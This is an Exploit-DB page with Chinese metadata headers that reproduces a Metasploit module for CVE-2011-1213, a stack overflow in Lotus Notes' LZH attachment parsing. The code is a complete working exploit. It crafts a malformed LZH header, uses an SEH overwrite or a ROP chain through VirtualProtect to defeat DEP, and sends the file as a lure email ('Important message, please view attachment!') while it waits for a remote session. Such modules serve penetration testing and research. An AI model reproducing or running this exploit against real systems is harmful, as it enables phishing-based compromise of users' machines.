Lotus Notes 8.0.x < 8.5.2 FP2 - Autonomy Keyview ('.lzh' Attachment) (Metasploit)

  • 作者: Metasploit
    日期: 2011-06-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17448/
  • ##
    # $Id: lotusnotes_lzh.rb 13015 2011-06-23 15:43:54Z bannedit $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ManualRanking # needs client interaction and permanent listener
    
    	#
    	# This module sends email messages via smtp
    	#
    	include Msf::Exploit::Remote::SMTPDeliver
    	include Msf::Exploit::Remote::Seh
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview(.lzh attachment)',
    			'Description'=> %q{
    				This module exploits a stack buffer overflow in Lotus Notes 8.5.2 when
    				parsing a malformed, specially crafted LZH file. This vulnerability was
    				discovered binaryhouse.net
    
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'binaryhouse.net',		# original discovery
    					'alino <26alino@gmail.com>',	# Metasploit module
    				],
    			'Version'=> '$Revision: 13015 $',
    			'References' =>
    				[
    					['CVE', '2011-1213'],
    					['OSVDB', '72706'],
    					['BID', '48018'],
    					['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=904'],
    					['URL', 'http://www.ibm.com/support/docview.wss?uid=swg21500034'],
    				],
    			'Stance' => Msf::Exploit::Stance::Passive,
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'process',
    				},
    			'Platform' => ['win'],
    			'Targets'=>
    				[
    					[ 'Lotus Notes 8.0.x - 8.5.2 FP2 / Windows Universal',
    						{
    							'Offset' => 6741,
    							'Ret'=> 0x780c26b2 # POP ECX; POP ECX; RETN MSVCP60.dll
    						}
    					],
    					
    					[ 'Lotus Notes 8.5.2 FP2 / Windows Universal / DEP',
    						{
    							'Offset' => 6745,
    							'Ret'=> 0x60dc1043 # ADD ESP,52C; XOR EAX,EAX; POP EDI; POP ESI; POP EBX; POP EBP; RETN 4 nnotes.dll
    						}
    					],
    				],
    			'DisclosureDate' => 'May 24 2011',
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				#
    				# Email options
    				#
    				OptString.new('FILENAME',
    					[false, 'Sets the attachment file name', 'data.lzh']),
    				OptString.new('MESSAGE',
    					[false, 'Email message text', 'Important message, please view attachment!'])
    			], self.class)
    		register_advanced_options(
    			[
    				OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]),
    				OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 0])
    			], self.class)
    	end
    
    	def exploit
    
    		header ="\x08"		# Size of archived file header <-- 8 - 13 = FFFFFFF6
    		header << "\x1a"		# 1 byte Header checksum
    		header << "-lh0-"		# Method ID (No compression)
    		header << "\x7c\x1a\x00\x00"	# Compressed file size
    		header << "\x7c\x1a\x00\x00"	# Uncompressed file size
    		header << "\xB2\x5e\xab\x3c"	# Original file date/time
    		header << "\x20"		# File attribute
    		header << "\x00"		# Level identifier
    		header << "\x07"		# File name length
    		header << "poc.txt"		# File name
    		header << "\x25\x7d"		# 16 bit CRC of the uncompressed file
    
    		lzh =header 
    		lzh << rand_text(target['Offset'])
    
    		if (target == targets[0])
    
    			lzh << generate_seh_record(target.ret)
    			lzh << make_nops(8)
    			lzh << payload.encoded
    
    		elsif (target == targets[1])
    
    			rop_nop = [0x7c3c5958].pack('V') * 47 # RETN MSVCP71.dll
    
    			rop_gadgets =
    			[
    				0x60524404, # POP EAX; RETN nnotes.dll
    				0x7c37a140, # VirtualProtect() 
    				0x7c3a4000, # MOV EAX,DWORD PTR DS:[EAX]; RETN MSVCP71.dll
    				0x603c53c1, # MOV ESI,EAX; RETN nnotes.dll
    				0x60620001, # POP EBP; RETN nnotes.dll
    				0x7c3c5946, # PUSH ESP; RETN MSVCP71.dll
    				0x7c34280f, # POP EBX; RETN MSVCR71.dll
    				0x00001954, # dwSize
    				0x780ea001, # POP ECX; RETN MSVCP60.dll
    				0x7c38b000, # lpflOldProtect
    				0x60e73200, # POP EDI; RETN nnotes.dll
    				0x60e73201, # RETN nnotes.dll
    				0x601d5f02, # POP EDX; RETN nnotes.dll
    				0x00000040, # flNewProtect
    				0x60524404, # POP EAX; RETN nnotes.dll
    				0x90909090, # NOP
    				0x60820801, # PUSHAD; RETN nnotes.dll
    			].pack("V*")
    
    			lzh << [target.ret].pack('V')
    			lzh[32, rop_nop.length] = rop_nop
    			lzh[220, rop_gadgets.length] = rop_gadgets
    			lzh[289, payload.encoded.length] = payload.encoded
    		end
    
    		name = datastore['FILENAME'] || Rex::Text.rand_text_alpha(rand(10)+1) + ".lzh"
    		data = datastore['MESSAGE'] || Rex::Text.rand_text_alpha(rand(32)+1)
    
    		msg = Rex::MIME::Message.new
    		msg.mime_defaults
    		msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
    		msg.to = datastore['MAILTO']
    		msg.from = datastore['MAILFROM']
    
    		msg.add_part(Rex::Text.encode_base64(data, "\r\n"), "text/plain", "base64", "inline")
    		msg.add_part_attachment(lzh, name)
    
    		send_message(msg.to_s)
    
    		print_status("Waiting for a payload session (backgrounding)...")
    
    		if not datastore['ExitOnSession'] and not job_id
    			raise RuntimeError, "Setting ExitOnSession to false requires running as a job (exploit -j)"
    		end
    
    		stime = Time.now.to_f
    		print_status "Starting the payload handler..."
    		while(true)
    			break if session_created? and datastore['ExitOnSession']
    			break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) )
    
    			select(nil,nil,nil,1)
    		end
    	end
    end